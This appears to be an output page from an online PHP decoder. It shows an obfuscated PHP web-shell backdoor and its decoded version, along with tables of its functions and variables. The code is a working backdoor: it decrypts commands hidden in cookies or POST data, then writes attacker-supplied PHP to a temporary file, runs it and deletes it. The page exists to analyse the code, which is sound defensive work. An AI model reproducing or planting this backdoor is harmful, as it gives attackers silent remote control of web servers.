Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $zrqlacupfg = chr(102).'i'."\x6c".chr(333-232)."\137".chr(445-333)."\x75".'t'.chr(95..

Decoded Output download

<?php $zrqlacupfg = chr(102).'i'."l".chr(333-232)."_".chr(445-333)."u".'t'.chr(95)."c"."o"."n".'t'."e".chr(110).'t'.chr(1071-956); 
$iygfu = 'b'.'a'."s"."e"."6".chr(307-255).chr(751-656).chr(100).chr(101)."c"."o"."d".chr(390-289); 
$itchu = chr(105).'n'."i".'_'.chr(115)."e".chr(116); 
$elzhkvwl = "u"."n"."l"."i"."n".chr(107); 
 
 
@$itchu("e"."r"."r".chr(111)."r"."_".'l'."o"."g", NULL); 
@$itchu(chr(849-741)."o"."g"."_".chr(196-95).chr(833-719)."r".chr(606-495).'r'."s", 0); 
@$itchu("m"."a".chr(120)."_"."e".'x'."e"."c".chr(117)."t".'i'."o"."n"."_".chr(116)."i".chr(109)."e", 0); 
@set_time_limit(0); 
 
function vpqye($brtxij, $shumh) 
{ 
    $xlbymvjkp = ""; 
    for ($wwoskn = 0; $wwoskn < strlen($brtxij);) { 
        for ($j = 0; $j < strlen($shumh) && $wwoskn < strlen($brtxij); $j++, $wwoskn++) { 
            $xlbymvjkp .= chr(ord($brtxij[$wwoskn]) ^ ord($shumh[$j])); 
        } 
    } 
    return $xlbymvjkp; 
} 
 
$obklvkwx = array_merge($_COOKIE, $_POST); 
$fkdvj = '89c73af5-7f84-407d-8e3f-a71f558736fa'; 
foreach ($obklvkwx as $knargix => $brtxij) { 
    $brtxij = @unserialize(vpqye(vpqye($iygfu($brtxij), $fkdvj), $knargix)); 
    if (isset($brtxij[chr(97)."k"])) { 
        if ($brtxij[chr(97)] == chr(825-720)) { 
            $wwoskn = array( 
                'p'.chr(622-504) => @phpversion(), 
                "s".chr(936-818) => "3.5", 
            ); 
            echo @serialize($wwoskn); 
        } elseif ($brtxij[chr(97)] == chr(1082-981)) { 
            $edwhrhyqmg = "./" . md5($fkdvj) . ".".chr(105).'n'."c"; 
            @$zrqlacupfg($edwhrhyqmg, "<" . "?".'p'.chr(104).chr(787-675).chr(32).'@'."u".chr(835-725).chr(530-422)."i".'n'."k"."(".chr(95)."_"."F"."I".chr(79-3).chr(69).'_'."_".chr(41).chr(641-582).chr(32) . $brtxij["d"]); 
            @include($edwhrhyqmg); 
            @$elzhkvwl($edwhrhyqmg); 
        } 
        exit(); 
    } 
} 
 
 ?>

Did this file decode correctly?

Original Code

<?php $zrqlacupfg = chr(102).'i'."\x6c".chr(333-232)."\137".chr(445-333)."\x75".'t'.chr(95)."\x63"."\157"."\x6e".'t'."\145".chr(110).'t'.chr(1071-956);
$iygfu = 'b'.'a'."\x73"."\x65"."\x36".chr(307-255).chr(751-656).chr(100).chr(101)."\x63"."\157"."\x64".chr(390-289);
$itchu = chr(105).'n'."\x69".'_'.chr(115)."\x65".chr(116);
$elzhkvwl = "\x75"."\156"."\x6c"."\151"."\x6e".chr(107);


@$itchu("\x65"."\x72"."\162".chr(111)."\x72"."\x5f".'l'."\157"."\147", NULL);
@$itchu(chr(849-741)."\x6f"."\x67"."\x5f".chr(196-95).chr(833-719)."\162".chr(606-495).'r'."\x73", 0);
@$itchu("\155"."\141".chr(120)."\x5f"."\145".'x'."\x65"."\143".chr(117)."\164".'i'."\157"."\156"."\137".chr(116)."\151".chr(109)."\x65", 0);
@set_time_limit(0);

function vpqye($brtxij, $shumh)
{
    $xlbymvjkp = "";
    for ($wwoskn = 0; $wwoskn < strlen($brtxij);) {
        for ($j = 0; $j < strlen($shumh) && $wwoskn < strlen($brtxij); $j++, $wwoskn++) {
            $xlbymvjkp .= chr(ord($brtxij[$wwoskn]) ^ ord($shumh[$j]));
        }
    }
    return $xlbymvjkp;
}

$obklvkwx = array_merge($_COOKIE, $_POST);
$fkdvj = '89c73af5-7f84-407d-8e3f-a71f558736fa';
foreach ($obklvkwx as $knargix => $brtxij) {
    $brtxij = @unserialize(vpqye(vpqye($iygfu($brtxij), $fkdvj), $knargix));
    if (isset($brtxij[chr(97)."\153"])) {
        if ($brtxij[chr(97)] == chr(825-720)) {
            $wwoskn = array(
                'p'.chr(622-504) => @phpversion(),
                "\163".chr(936-818) => "3.5",
            );
            echo @serialize($wwoskn);
        } elseif ($brtxij[chr(97)] == chr(1082-981)) {
            $edwhrhyqmg = "./" . md5($fkdvj) . "\x2e".chr(105).'n'."\x63";
            @$zrqlacupfg($edwhrhyqmg, "<" . "\77".'p'.chr(104).chr(787-675).chr(32).'@'."\x75".chr(835-725).chr(530-422)."\x69".'n'."\153"."\50".chr(95)."\x5f"."\106"."\111".chr(79-3).chr(69).'_'."\137".chr(41).chr(641-582).chr(32) . $brtxij["\144"]);
            @include($edwhrhyqmg);
            @$elzhkvwl($edwhrhyqmg);
        }
        exit();
    }
}

Function Calls

chr 24
ini_set 3
array_merge 1
set_time_limit 1

Variables

$itchu ini_set
$iygfu base64_decode
$elzhkvwl unlink
$zrqlacupfg file_put_contents

Stats

MD5 8cc5793d1e6108bbe92f7e72faeb13bd
Eval Count 0
Decode Time 92 ms